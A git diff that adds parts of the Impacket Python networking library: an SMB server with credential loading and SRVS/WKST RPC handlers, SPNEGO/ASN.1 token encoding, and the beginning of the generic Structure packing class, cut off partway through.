+        if self.__serverConfig.has_option("global", "anonymous_logon"):
+            self.__anonymousLogon = self.__serverConfig.getboolean("global", "anonymous_logon")
+        else:
+            self.__anonymousLogon = True
+
+        if self.__logFile != 'None':
+            logging.basicConfig(filename=self.__logFile,
+                                level=logging.DEBUG,
+                                format="%(asctime)s: %(levelname)s: %(message)s",
+                                datefmt='%m/%d/%Y %I:%M:%S %p')
+        self.__log = LOG
+
+        # Process the credentials
+        credentials_fname = self.__serverConfig.get('global', 'credentials_file')
+        if credentials_fname != "":
+            cred = open(credentials_fname)
+            line = cred.readline()
+            while line:
+                name, uid, lmhash, nthash = line.split(':')
+                self.__credentials[name.lower()] = (uid, lmhash, nthash.strip('\r\n'))
+                line = cred.readline()
+            cred.close()
+        self.log('Config file parsed')
+
+    def addCredential(self, name, uid, lmhash, nthash):
+        # If we have hashes, normalize them
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0%s' % lmhash
+            if len(nthash) % 2:
+                nthash = '0%s' % nthash
+            try:  # just in case they were converted already
+                lmhash = a2b_hex(lmhash)
+                nthash = a2b_hex(nthash)
+            except:
+                pass
+        self.__credentials[name.lower()] = (uid, lmhash, nthash)
+
+
+# For windows platforms, opening a directory is not an option, so we set a void FD
+VOID_FILE_DESCRIPTOR = -1
+PIPE_FILE_DESCRIPTOR = -2
+
+######################################################################
+# HELPER CLASSES
+######################################################################
+
+from impacket.dcerpc.v5.rpcrt import DCERPCServer
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.srvs import NetrShareEnum, NetrShareEnumResponse, SHARE_INFO_1, NetrServerGetInfo, \
+    NetrServerGetInfoResponse, NetrShareGetInfo, NetrShareGetInfoResponse
+from impacket.dcerpc.v5.wkst import NetrWkstaGetInfo, NetrWkstaGetInfoResponse
+from impacket.system_errors import ERROR_INVALID_LEVEL
+
+
+class WKSTServer(DCERPCServer):
+    def __init__(self):
+        DCERPCServer.__init__(self)
+        self.wkssvcCallBacks = {
+            0: self.NetrWkstaGetInfo,
+        }
+        self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'), '\\PIPE\\wkssvc', self.wkssvcCallBacks)
+
+    def NetrWkstaGetInfo(self, data):
+        request = NetrWkstaGetInfo(data)
+        self.log("NetrWkstaGetInfo Level: %d" % request['Level'])
+
+        answer = NetrWkstaGetInfoResponse()
+
+        if request['Level'] not in (100, 101):
+            answer['ErrorCode'] = ERROR_INVALID_LEVEL
+            return answer
+
+        answer['WkstaInfo']['tag'] = request['Level']
+
+        if request['Level'] == 100:
+            # Windows. Decimal value 500.
+            answer['WkstaInfo']['WkstaInfo100']['wki100_platform_id'] = 0x000001F4
+            answer['WkstaInfo']['WkstaInfo100']['wki100_computername'] = NULL
+            answer['WkstaInfo']['WkstaInfo100']['wki100_langroup'] = NULL
+            answer['WkstaInfo']['WkstaInfo100']['wki100_ver_major'] = 5
+            answer['WkstaInfo']['WkstaInfo100']['wki100_ver_minor'] = 0
+        else:
+            # Windows. Decimal value 500.
+            answer['WkstaInfo']['WkstaInfo101']['wki101_platform_id'] = 0x000001F4
+            answer['WkstaInfo']['WkstaInfo101']['wki101_computername'] = NULL
+            answer['WkstaInfo']['WkstaInfo101']['wki101_langroup'] = NULL
+            answer['WkstaInfo']['WkstaInfo101']['wki101_ver_major'] = 5
+            answer['WkstaInfo']['WkstaInfo101']['wki101_ver_minor'] = 0
+            answer['WkstaInfo']['WkstaInfo101']['wki101_lanroot'] = NULL
+
+        return answer
+
+
+class SRVSServer(DCERPCServer):
+    def __init__(self):
+        DCERPCServer.__init__(self)
+
+        self._shares = {}
+        self.__serverConfig = None
+        self.__logFile = None
+
+        self.srvsvcCallBacks = {
+            15: self.NetrShareEnum,
+            16: self.NetrShareGetInfo,
+            21: self.NetrServerGetInfo,
+        }
+
+        self.addCallbacks(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'), '\\PIPE\\srvsvc', self.srvsvcCallBacks)
+
+    def setServerConfig(self, config):
+        self.__serverConfig = config
+
+    def processConfigFile(self, configFile=None):
+        if configFile is not None:
+            self.__serverConfig = configparser.ConfigParser()
+            self.__serverConfig.read(configFile)
+        sections = self.__serverConfig.sections()
+        # Let's check the log file
+        self.__logFile = self.__serverConfig.get('global', 'log_file')
+        if self.__logFile != 'None':
+            logging.basicConfig(filename=self.__logFile,
+                                level=logging.DEBUG,
+                                format="%(asctime)s: %(levelname)s: %(message)s",
+                                datefmt='%m/%d/%Y %I:%M:%S %p')
+
+        # Remove the global one
+        del (sections[sections.index('global')])
+        self._shares = {}
+        for i in sections:
+            self._shares[i] = dict(self.__serverConfig.items(i))
+
+    def NetrShareGetInfo(self, data):
+        request = NetrShareGetInfo(data)
+        self.log("NetrGetShareInfo Level: %d" % request['Level'])
+
+        s = request['NetName'][:-1].upper()
+        answer = NetrShareGetInfoResponse()
+        if s in self._shares:
+            share = self._shares[s]
+
+            answer['InfoStruct']['tag'] = 1
+            answer['InfoStruct']['ShareInfo1']['shi1_netname'] = s + '\x00'
+            answer['InfoStruct']['ShareInfo1']['shi1_type'] = share['share type']
+            answer['InfoStruct']['ShareInfo1']['shi1_remark'] = share['comment'] + '\x00'
+            answer['ErrorCode'] = 0
+        else:
+            answer['InfoStruct']['tag'] = 1
+            answer['InfoStruct']['ShareInfo1'] = NULL
+            answer['ErrorCode'] = 0x0906  # WERR_NET_NAME_NOT_FOUND
+
+        return answer
+
+    def NetrServerGetInfo(self, data):
+        request = NetrServerGetInfo(data)
+        self.log("NetrServerGetInfo Level: %d" % request['Level'])
+        answer = NetrServerGetInfoResponse()
+        answer['InfoStruct']['tag'] = 101
+        # PLATFORM_ID_NT = 500
+        answer['InfoStruct']['ServerInfo101']['sv101_platform_id'] = 500
+        answer['InfoStruct']['ServerInfo101']['sv101_name'] = request['ServerName']
+        # Windows 7 = 6.1
+        answer['InfoStruct']['ServerInfo101']['sv101_version_major'] = 6
+        answer['InfoStruct']['ServerInfo101']['sv101_version_minor'] = 1
+        # Workstation = 1
+        answer['InfoStruct']['ServerInfo101']['sv101_type'] = 1
+        answer['InfoStruct']['ServerInfo101']['sv101_comment'] = NULL
+        answer['ErrorCode'] = 0
+        return answer
+
+    def NetrShareEnum(self, data):
+        request = NetrShareEnum(data)
+        self.log("NetrShareEnum Level: %d" % request['InfoStruct']['Level'])
+        shareEnum = NetrShareEnumResponse()
+        shareEnum['InfoStruct']['Level'] = 1
+        shareEnum['InfoStruct']['ShareInfo']['tag'] = 1
+        shareEnum['TotalEntries'] = len(self._shares)
+        shareEnum['InfoStruct']['ShareInfo']['Level1']['EntriesRead'] = len(self._shares)
+        shareEnum['ErrorCode'] = 0
+
+        for i in self._shares:
+            shareInfo = SHARE_INFO_1()
+            shareInfo['shi1_netname'] = i + '\x00'
+            shareInfo['shi1_type'] = self._shares[i]['share type']
+            shareInfo['shi1_remark'] = self._shares[i]['comment'] + '\x00'
+            shareEnum['InfoStruct']['ShareInfo']['Level1']['Buffer'].append(shareInfo)
+
+        return shareEnum
+
+
+class SimpleSMBServer:
+    """
+    SimpleSMBServer class - Implements a simple, customizable SMB Server
+
+    :param string listenAddress: the address you want the server to listen on
+    :param integer listenPort: the port number you want the server to listen on
+    :param string configFile: a file with all the servers' configuration. If no file specified, this class will create the basic parameters needed to run. You will need to add your shares manually tho. See addShare() method
+    """
+
+    def __init__(self, listenAddress='0.0.0.0', listenPort=445, configFile=''):
+        if configFile != '':
+            self.__server = SMBSERVER((listenAddress, listenPort))
+            self.__server.processConfigFile(configFile)
+            self.__smbConfig = None
+        else:
+            # Here we write a mini config for the server
+            self.__smbConfig = configparser.ConfigParser()
+            self.__smbConfig.add_section('global')
+            self.__smbConfig.set('global', 'server_name',
+                                 ''.join([random.choice(string.ascii_letters) for _ in range(8)]))
+            self.__smbConfig.set('global', 'server_os', ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+                                 )
+            self.__smbConfig.set('global', 'server_domain',
+                                 ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+                                 )
+            self.__smbConfig.set('global', 'log_file', 'None')
+            self.__smbConfig.set('global', 'rpc_apis', 'yes')
+            self.__smbConfig.set('global', 'credentials_file', '')
+            self.__smbConfig.set('global', 'challenge', "A" * 16)
+
+            # IPC always needed
+            self.__smbConfig.add_section('IPC$')
+            self.__smbConfig.set('IPC$', 'comment', '')
+            self.__smbConfig.set('IPC$', 'read only', 'yes')
+            self.__smbConfig.set('IPC$', 'share type', '3')
+            self.__smbConfig.set('IPC$', 'path', '')
+            self.__server = SMBSERVER((listenAddress, listenPort), config_parser=self.__smbConfig)
+            self.__server.processConfigFile()
+
+        # Now we have to register the MS-SRVS server. This specially important for
+        # Windows 7+ and Mavericks clients since they WON'T (specially OSX)
+        # ask for shares using MS-RAP.
+
+        self.__srvsServer = SRVSServer()
+        self.__srvsServer.daemon = True
+        self.__wkstServer = WKSTServer()
+        self.__wkstServer.daemon = True
+        self.__server.registerNamedPipe('srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort()))
+        self.__server.registerNamedPipe('wkssvc', ('127.0.0.1', self.__wkstServer.getListenPort()))
+
+    def start(self):
+        self.__srvsServer.start()
+        self.__wkstServer.start()
+        self.__server.serve_forever()
+
+    def stop(self):
+        self.__server.server_close()
+
+    def registerNamedPipe(self, pipeName, address):
+        return self.__server.registerNamedPipe(pipeName, address)
+
+    def unregisterNamedPipe(self, pipeName):
+        return self.__server.unregisterNamedPipe(pipeName)
+
+    def getRegisteredNamedPipes(self):
+        return self.__server.getRegisteredNamedPipes()
+
+    def addShare(self, shareName, sharePath, shareComment='', shareType='0', readOnly='no'):
+        share = shareName.upper()
+        self.__smbConfig.add_section(share)
+        self.__smbConfig.set(share, 'comment', shareComment)
+        self.__smbConfig.set(share, 'read only', readOnly)
+        self.__smbConfig.set(share, 'share type', shareType)
+        self.__smbConfig.set(share, 'path', sharePath)
+        self.__server.setServerConfig(self.__smbConfig)
+        self.__srvsServer.setServerConfig(self.__smbConfig)
+        self.__server.processConfigFile()
+        self.__srvsServer.processConfigFile()
+
+    def removeShare(self, shareName):
+        self.__smbConfig.remove_section(shareName.upper())
+        self.__server.setServerConfig(self.__smbConfig)
+        self.__srvsServer.setServerConfig(self.__smbConfig)
+        self.__server.processConfigFile()
+        self.__srvsServer.processConfigFile()
+
+    def setSMBChallenge(self, challenge):
+        if challenge != '':
+            self.__smbConfig.set('global', 'challenge', challenge)
+            self.__server.setServerConfig(self.__smbConfig)
+            self.__server.processConfigFile()
+
+    def setLogFile(self, logFile):
+        self.__smbConfig.set('global', 'log_file', logFile)
+        self.__server.setServerConfig(self.__smbConfig)
+        self.__server.processConfigFile()
+
+    def setCredentialsFile(self, logFile):
+        self.__smbConfig.set('global', 'credentials_file', logFile)
+        self.__server.setServerConfig(self.__smbConfig)
+        self.__server.processConfigFile()
+
+    def addCredential(self, name, uid, lmhash, nthash):
+        self.__server.addCredential(name, uid, lmhash, nthash)
+
+    def setSMB2Support(self, value):
+        if value is True:
+            self.__smbConfig.set("global", "SMB2Support", "True")
+        else:
+            self.__smbConfig.set("global", "SMB2Support", "False")
+        self.__server.setServerConfig(self.__smbConfig)
+        self.__server.processConfigFile()
+
+    def getAuthCallback(self):
+        return self.__server.getAuthCallback()
+
+    def setAuthCallback(self, callback):
+        self.__server.setAuthCallback(callback)
diff --git a/impacket/spnego.py b/impacket/spnego.py
new file mode 100644
index 0000000..b814c6a
--- /dev/null
+++ b/impacket/spnego.py
@@ -0,0 +1,389 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SPNEGO functions used by SMB, SMB2/3 and DCERPC
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+from struct import pack, unpack, calcsize
+
+############### GSS Stuff ################
+GSS_API_SPNEGO_UUID              = b'\x2b\x06\x01\x05\x05\x02'
+ASN1_SEQUENCE                    = 0x30
+ASN1_AID                         = 0x60
+ASN1_OID                         = 0x06
+ASN1_OCTET_STRING                = 0x04
+ASN1_MECH_TYPE                   = 0xa0
+ASN1_MECH_TOKEN                  = 0xa2
+ASN1_SUPPORTED_MECH              = 0xa1
+ASN1_RESPONSE_TOKEN              = 0xa2
+ASN1_ENUMERATED                  = 0x0a
+MechTypes = {
+b'+\x06\x01\x04\x01\x827\x02\x02\n': 'NTLMSSP - Microsoft NTLM Security Support Provider',
+b'*\x86H\x82\xf7\x12\x01\x02\x02': 'MS KRB5 - Microsoft Kerberos 5',
+b'*\x86H\x86\xf7\x12\x01\x02\x02': 'KRB5 - Kerberos 5',
+b'*\x86H\x86\xf7\x12\x01\x02\x02\x03': 'KRB5 - Kerberos 5 - User to User',
+b'\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'
+}
+
+TypesMech = dict((v,k) for k, v in MechTypes.items())
+
+def asn1encode(data = ''):
+        #res = asn1.SEQUENCE(str).encode()
+        #import binascii
+        #print '\nalex asn1encode str: %s\n' % binascii.hexlify(str)
+        if 0 <= len(data) <= 0x7F:
+            res = pack('B', len(data)) + data
+        elif 0x80 <= len(data) <= 0xFF:
+            res = pack('BB', 0x81, len(data)) + data
+        elif 0x100 <= len(data) <= 0xFFFF:
+            res = pack('!BH', 0x82, len(data)) + data
+        elif 0x10000 <= len(data) <= 0xffffff:
+            res = pack('!BBH', 0x83, len(data) >> 16, len(data) & 0xFFFF) + data
+        elif 0x1000000 <= len(data) <= 0xffffffff:
+            res = pack('!BL', 0x84, len(data)) + data
+        else:
+            raise Exception('Error in asn1encode')
+        return res
+
+def asn1decode(data = ''):
+        len1 = unpack('B', data[:1])[0]
+        data = data[1:]
+        if len1 == 0x81:
+            pad = calcsize('B')
+            len2 = unpack('B',data[:pad])[0]
+            data = data[pad:]
+            ans = data[:len2]
+        elif len1 == 0x82:
+            pad = calcsize('H')
+            len2 = unpack('!H', data[:pad])[0]
+            data = data[pad:]
+            ans = data[:len2]
+        elif len1 == 0x83:
+            pad = calcsize('B') + calcsize('!H')
+            len2, len3 = unpack('!BH', data[:pad])
+            data = data[pad:]
+            ans = data[:len2 << 16 + len3]
+        elif len1 == 0x84:
+            pad = calcsize('!L')
+            len2 = unpack('!L', data[:pad])[0]
+            data = data[pad:]
+            ans = data[:len2]
+        # 1 byte length, string <= 0x7F
+        else:
+            pad = 0
+            ans = data[:len1]
+        return ans, len(ans)+pad+1
+
+class GSSAPI:
+# Generic GSSAPI Header Format 
+    def __init__(self, data = None):
+        self.fields = {}
+        self['UUID'] = GSS_API_SPNEGO_UUID
+        if data:
+             self.fromString(data)
+        pass
+
+    def __setitem__(self,key,value):
+        self.fields[key] = value
+
+    def __getitem__(self, key):
+        return self.fields[key]
+
+    def __delitem__(self, key):
+        del self.fields[key]
+
+    def __len__(self):
+        return len(self.getData())
+
+    def __str__(self):
+        return len(self.getData())
+
+    def fromString(self, data = None):
+        # Manual parse of the GSSAPI Header Format
+        # It should be something like
+        # AID = 0x60 TAG, BER Length
+        # OID = 0x06 TAG
+        # GSSAPI OID
+        # UUID data (BER Encoded)
+        # Payload
+        next_byte = unpack('B',data[:1])[0]
+        if next_byte != ASN1_AID:
+            raise Exception('Unknown AID=%x' % next_byte)
+        data = data[1:]
+        decode_data, total_bytes = asn1decode(data) 
+        # Now we should have a OID tag
+        next_byte = unpack('B',decode_data[:1])[0]
+        if next_byte !=  ASN1_OID:
+            raise Exception('OID tag not found %x' % next_byte)
+        decode_data = decode_data[1:]
+        # Now the OID contents, should be SPNEGO UUID
+        uuid, total_bytes = asn1decode(decode_data)
+        self['OID'] = uuid
+        # the rest should be the data
+        self['Payload'] = decode_data[total_bytes:]
+        #pass
+
+    def dump(self):
+        for i in list(self.fields.keys()):
+            print("%s: {%r}" % (i,self[i]))
+
+    def getData(self):
+        ans = pack('B',ASN1_AID)
+        ans += asn1encode(
+               pack('B',ASN1_OID) + 
+               asn1encode(self['UUID']) +
+               self['Payload'] )
+        return ans
+
+class SPNEGO_NegTokenResp:
+    # https://tools.ietf.org/html/rfc4178#page-9
+    # NegTokenResp ::= SEQUENCE {
+    #     negState       [0] ENUMERATED {
+    #         accept-completed    (0),
+    #         accept-incomplete   (1),
+    #         reject              (2),
+    #         request-mic         (3)
+    #     }                                 OPTIONAL,
+    #       -- REQUIRED in the first reply from the target
+    #     supportedMech   [1] MechType      OPTIONAL,
+    #       -- present only in the first reply from the target
+    #     responseToken   [2] OCTET STRING  OPTIONAL,
+    #     mechListMIC     [3] OCTET STRING  OPTIONAL,
+    #     ...
+    # }
+    # This structure is not prepended by a GSS generic header!
+    SPNEGO_NEG_TOKEN_RESP = 0xa1
+    SPNEGO_NEG_TOKEN_TARG = 0xa0
+
+    def __init__(self, data = None):
+        self.fields = {}
+        if data:
+             self.fromString(data)
+        pass
+
+    def __setitem__(self,key,value):
+        self.fields[key] = value
+
+    def __getitem__(self, key):
+        return self.fields[key]
+
+    def __delitem__(self, key):
+        del self.fields[key]
+
+    def __len__(self):
+        return len(self.getData())
+
+    def __str__(self):
+        return self.getData()
+
+    def fromString(self, data = 0):
+        payload = data
+        next_byte = unpack('B', payload[:1])[0]
+        if next_byte != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            raise Exception('NegTokenResp not found %x' % next_byte)
+        payload = payload[1:]
+        decode_data, total_bytes = asn1decode(payload)
+        next_byte = unpack('B', decode_data[:1])[0]
+        if next_byte != ASN1_SEQUENCE:
+            raise Exception('SEQUENCE tag not found %x' % next_byte)
+        decode_data = decode_data[1:]
+        decode_data, total_bytes = asn1decode(decode_data)
+        next_byte = unpack('B',decode_data[:1])[0]
+
+        if next_byte != ASN1_MECH_TYPE:
+            # MechType not found, could be an AUTH answer
+            if next_byte != ASN1_RESPONSE_TOKEN:
+               raise Exception('MechType/ResponseToken tag not found %x' % next_byte)
+        else:
+            decode_data2 = decode_data[1:]
+            decode_data2, total_bytes = asn1decode(decode_data2)
+            next_byte = unpack('B', decode_data2[:1])[0]
+            if next_byte != ASN1_ENUMERATED:
+                raise Exception('Enumerated tag not found %x' % next_byte)
+            item, total_bytes2 = asn1decode(decode_data2[1:])
+            self['NegState'] = item
+            decode_data = decode_data[1:]
+            decode_data = decode_data[total_bytes:]
+
+            # Do we have more data?
+            if len(decode_data) == 0:
+                return
+
+            next_byte = unpack('B', decode_data[:1])[0]
+            if next_byte != ASN1_SUPPORTED_MECH:
+                if next_byte != ASN1_RESPONSE_TOKEN:
+                    raise Exception('Supported Mech/ResponseToken tag not found %x' % next_byte)
+            else:
+                decode_data2 = decode_data[1:]
+                decode_data2, total_bytes = asn1decode(decode_data2)
+                next_byte = unpack('B', decode_data2[:1])[0]
+                if next_byte != ASN1_OID:
+                    raise Exception('OID tag not found %x' % next_byte)
+                decode_data2 = decode_data2[1:]
+                item, total_bytes2 = asn1decode(decode_data2)
+                self['SupportedMech'] = item
+
+                decode_data = decode_data[1:]
+                decode_data = decode_data[total_bytes:]
+                next_byte = unpack('B', decode_data[:1])[0]
+                if next_byte != ASN1_RESPONSE_TOKEN:
+                    raise Exception('Response token tag not found %x' % next_byte)
+
+        decode_data = decode_data[1:]
+        decode_data, total_bytes = asn1decode(decode_data)
+        next_byte = unpack('B', decode_data[:1])[0]
+        if next_byte != ASN1_OCTET_STRING:
+            raise Exception('Octet string token tag not found %x' % next_byte)
+        decode_data = decode_data[1:]
+        decode_data, total_bytes = asn1decode(decode_data)
+        self['ResponseToken'] = decode_data
+
+    def dump(self):
+        for i in list(self.fields.keys()):
+            print("%s: {%r}" % (i,self[i]))
+    def getData(self):
+        ans = pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP)
+        if 'NegState' in self.fields and 'SupportedMech' in self.fields and 'ResponseToken' in self.fields:
+            # Server resp
+            ans += asn1encode(
+               pack('B', ASN1_SEQUENCE) +
+               asn1encode(
+               pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +
+               asn1encode(
+               pack('B',ASN1_ENUMERATED) + 
+               asn1encode( self['NegState'] )) +
+               pack('B',ASN1_SUPPORTED_MECH) +
+               asn1encode( 
+               pack('B',ASN1_OID) +
+               asn1encode(self['SupportedMech'])) +
+               pack('B',ASN1_RESPONSE_TOKEN ) +
+               asn1encode(
+               pack('B', ASN1_OCTET_STRING) + asn1encode(self['ResponseToken']))))
+        elif 'NegState' in self.fields and 'SupportedMech' in self.fields:
+            # Server resp
+            ans += asn1encode(
+               pack('B', ASN1_SEQUENCE) +
+               asn1encode(
+               pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +
+               asn1encode(
+               pack('B',ASN1_ENUMERATED) +
+               asn1encode( self['NegState'] )) +
+               pack('B',ASN1_SUPPORTED_MECH) +
+               asn1encode(
+               pack('B',ASN1_OID) +
+               asn1encode(self['SupportedMech']))))
+        elif 'NegState' in self.fields:
+            # Server resp
+            ans += asn1encode(
+               pack('B', ASN1_SEQUENCE) + 
+               asn1encode(
+               pack('B', SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +
+               asn1encode(
+               pack('B',ASN1_ENUMERATED) +
+               asn1encode( self['NegState'] ))))
+        else:
+            # Client resp
+            ans += asn1encode(
+               pack('B', ASN1_SEQUENCE) +
+               asn1encode(
+               pack('B', ASN1_RESPONSE_TOKEN) +
+               asn1encode(
+               pack('B', ASN1_OCTET_STRING) + asn1encode(self['ResponseToken']))))
+        return ans
+
+class SPNEGO_NegTokenInit(GSSAPI):
+    # https://tools.ietf.org/html/rfc4178#page-8
+    # NegTokeInit :: = SEQUENCE {
+    #   mechTypes       [0] MechTypeList,
+    #   reqFlags        [1] ContextFlags OPTIONAL,
+    #   mechToken       [2] OCTET STRING OPTIONAL,
+    #   mechListMIC     [3] OCTET STRING OPTIONAL,
+    # }
+    SPNEGO_NEG_TOKEN_INIT = 0xa0
+    def fromString(self, data = 0):
+        GSSAPI.fromString(self, data)
+        payload = self['Payload']
+        next_byte = unpack('B', payload[:1])[0] 
+        if next_byte != SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT:
+            raise Exception('NegTokenInit not found %x' % next_byte)
+        payload = payload[1:]
+        decode_data, total_bytes = asn1decode(payload)
+        # Now we should have a SEQUENCE Tag
+        next_byte = unpack('B', decode_data[:1])[0]
+        if next_byte != ASN1_SEQUENCE:
+            raise Exception('SEQUENCE tag not found %x' % next_byte)
+        decode_data = decode_data[1:]
+        decode_data, total_bytes2 = asn1decode(decode_data)
+        next_byte = unpack('B',decode_data[:1])[0]
+        if next_byte != ASN1_MECH_TYPE:
+            raise Exception('MechType tag not found %x' % next_byte)
+        decode_data = decode_data[1:]
+        remaining_data = decode_data
+        decode_data, total_bytes3 = asn1decode(decode_data)
+        next_byte = unpack('B', decode_data[:1])[0]
+        if next_byte != ASN1_SEQUENCE:
+            raise Exception('SEQUENCE tag not found %x' % next_byte)
+        decode_data = decode_data[1:]
+        decode_data, total_bytes4 = asn1decode(decode_data)
+        # And finally we should have the MechTypes
+        self['MechTypes'] = []
+        while decode_data:
+           next_byte = unpack('B', decode_data[:1])[0]
+           if next_byte != ASN1_OID:    
+             # Not a valid OID, there must be something else we won't unpack
+             break
+           decode_data = decode_data[1:]
+           item, total_bytes = asn1decode(decode_data)
+           self['MechTypes'].append(item)
+           decode_data = decode_data[total_bytes:]
+
+        # Do we have MechTokens as well?
+        decode_data = remaining_data[total_bytes3:]
+        if len(decode_data) > 0:
+            next_byte = unpack('B', decode_data[:1])[0]
+            if next_byte == ASN1_MECH_TOKEN:
+                # We have tokens in here!
+                decode_data = decode_data[1:]
+                decode_data, total_bytes = asn1decode(decode_data)
+                next_byte = unpack('B', decode_data[:1])[0]
+                if next_byte ==  ASN1_OCTET_STRING:
+                    decode_data = decode_data[1:]
+                    decode_data, total_bytes = asn1decode(decode_data)
+                    self['MechToken'] =  decode_data
+
+    def getData(self):
+        mechTypes = b''
+        for i in self['MechTypes']:
+            mechTypes += pack('B', ASN1_OID)
+            mechTypes += asn1encode(i)
+
+        mechToken = b''
+        # Do we have tokens to send?
+        if 'MechToken' in self.fields:
+            mechToken = pack('B', ASN1_MECH_TOKEN) + asn1encode(
+                pack('B', ASN1_OCTET_STRING) + asn1encode(
+                    self['MechToken']))
+
+        ans = pack('B',SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT)
+        ans += asn1encode(
+               pack('B', ASN1_SEQUENCE) +
+               asn1encode(
+               pack('B', ASN1_MECH_TYPE) +
+               asn1encode(
+               pack('B', ASN1_SEQUENCE) + 
+               asn1encode(mechTypes)) + mechToken ))
+
+
+        self['Payload'] = ans
+        return GSSAPI.getData(self)
diff --git a/impacket/structure.py b/impacket/structure.py
new file mode 100644
index 0000000..92ae31b
--- /dev/null
+++ b/impacket/structure.py
@@ -0,0 +1,661 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+from __future__ import division
+from __future__ import print_function
+from struct import pack, unpack, calcsize
+from six import b, PY3
+
+class Structure:
+    """ sublcasses can define commonHdr and/or structure.
+        each of them is an tuple of either two: (fieldName, format) or three: (fieldName, ':', class) fields.
+        [it can't be a dictionary, because order is important]
+        
+        where format specifies how the data in the field will be converted to/from bytes (string)
+        class is the class to use when unpacking ':' fields.
+
+        each field can only contain one value (or an array of values for *)
+           i.e. struct.pack('Hl',1,2) is valid, but format specifier 'Hl' is not (you must use 2 dfferent fields)
+
+        format specifiers:
+          specifiers from module pack can be used with the same format 
+          see struct.__doc__ (pack/unpack is finally called)
+            x       [padding byte]
+            c       [character]
+            b       [signed byte]
+            B       [unsigned byte]
+            h       [signed short]
+            H       [unsigned short]
+            l       [signed long]
+            L       [unsigned long]
+            i       [signed integer]
+            I       [unsigned integer]
+            q       [signed long long (quad)]
+            Q       [unsigned long long (quad)]
+            s       [string (array of chars), must be preceded with length in format specifier, padded with zeros]
+            p       [pascal string (includes byte count), must be preceded with length in format specifier, padded with zeros]
+            f       [float]
+            d       [double]
+            =       [native byte ordering, size and alignment]
+            @       [native byte ordering, standard size and alignment]
+            !       [network byte ordering]
+            <       [little endian]
+            >       [big endian]
+
+          usual printf like specifiers can be used (if started with %) 
+          [not recommended, there is no way to unpack this]
+
+            %08x    will output an 8 bytes hex
+            %s      will output a string
+            %s\\x00  will output a NUL terminated string
+            %d%d    will output 2 decimal digits (against the very same specification of Structure)
+            ...
+
+          some additional format specifiers:
+            :       just copy the bytes from the field into the output string (input may be string, other structure, or anything responding to __str__()) (for unpacking, all what's left is returned)
+            z       same as :, but adds a NUL byte at the end (asciiz) (for unpacking the first NUL byte is used as terminator)  [asciiz string]
+            u       same as z, but adds two NUL bytes at the end (after padding to an even size with NULs). (same for unpacking) [unicode string]
+            w       DCE-RPC/NDR string (it's a macro for [  '<L=(len(field)+1)/2','"\\x00\\x00\\x00\\x00','<L=(len(field)+1)/2',':' ]
+            ?-field length of field named 'field', formatted as specified with ? ('?' may be '!H' for example). The input value overrides the real length
+            ?1*?2   array of elements. Each formatted as '?2', the number of elements in the array is stored as specified by '?1' (?1 is optional, or can also be a constant (number), for unpacking)
+            'xxxx   literal xxxx (field's value doesn't change the output. quotes must not be closed or escaped)
+            "xxxx   literal xxxx (field's value doesn't change the output. quotes must not be closed or escaped)
+            _       will not pack the field. Accepts a third argument, which is an unpack code. See _Test_UnpackCode for an example
+            ?=packcode  will evaluate packcode in the context of the structure, and pack the result as specified by ?. Unpacking is made plain
+            ?&fieldname "Address of field fieldname".
+                        For packing it will simply pack the id() of fieldname. Or use 0 if fieldname doesn't exists.
+                        For unpacking, it's used to know weather fieldname has to be unpacked or not, i.e. by adding a & field you turn another field (fieldname) in an optional field.
+            
+    """
+    commonHdr = ()
+    structure = ()
+    debug = 0
+
+    def __init__(self, data = None, alignment = 0):
+        if not hasattr(self, 'alignment'):
+            self.alignment = alignment
+
+        self.fields    = {}
+        self.rawData   = data
+        if data is not None:
+            self.fromString(data)
+        else:
+            self.data = None
+
+    @classmethod
+    def fromFile(self, file):
+        answer = self()
+        answer.fromString(file.read(len(answer)))
+        return answer
+
+    def setAlignment(self, alignment):
+        self.alignment = alignment
+
+    def setData(self, data):
+        self.data = data
+
+    def packField(self, fieldName, format = None):
+        if self.debug:
+            print("packField( %s | %s )" % (fieldName, format))
+
+        if format is None:
+            format = self.formatForField(fieldName)
+
+        if fieldName in self.fields:
+            ans = self.pack(format, self.fields[fieldName], field = fieldName)
+        else:
+            ans = self.pack(format, None, field = fieldName)
+
+        if self.debug:
+            print("\tanswer %r" % ans)
+
+        return ans
+
+    def getData(self):
+        if self.data is not None:
+            return self.data
+        data = bytes()
+        for field in self.commonHdr+self.structure:
+            try:
+                data += self.packField(field[0], field[1])
+            except Exception as e:
+                if field[0] in self.fields:
+                    e.args += ("When packing field '%s | %s | %r' in %s" % (field[0], field[1], self[field[0]], self.__class__),)
+                else:
+                    e.args += ("When packing field '%s | %s' in %s" % (field[0], field[1], self.__class__),)
+                raise
+            if self.alignment:
+                if len(data) % self.alignment:
+                    data += (b'\x00'*self.alignment)[:-(len(data) % self.alignment)]
+            
+        #if len(data) % self.alignment: data += ('\x00'*self.alignment)[:-(len(data) % self.alignment)]
+        return data
+
+    def fromString(self, data):
+        self.rawData = data
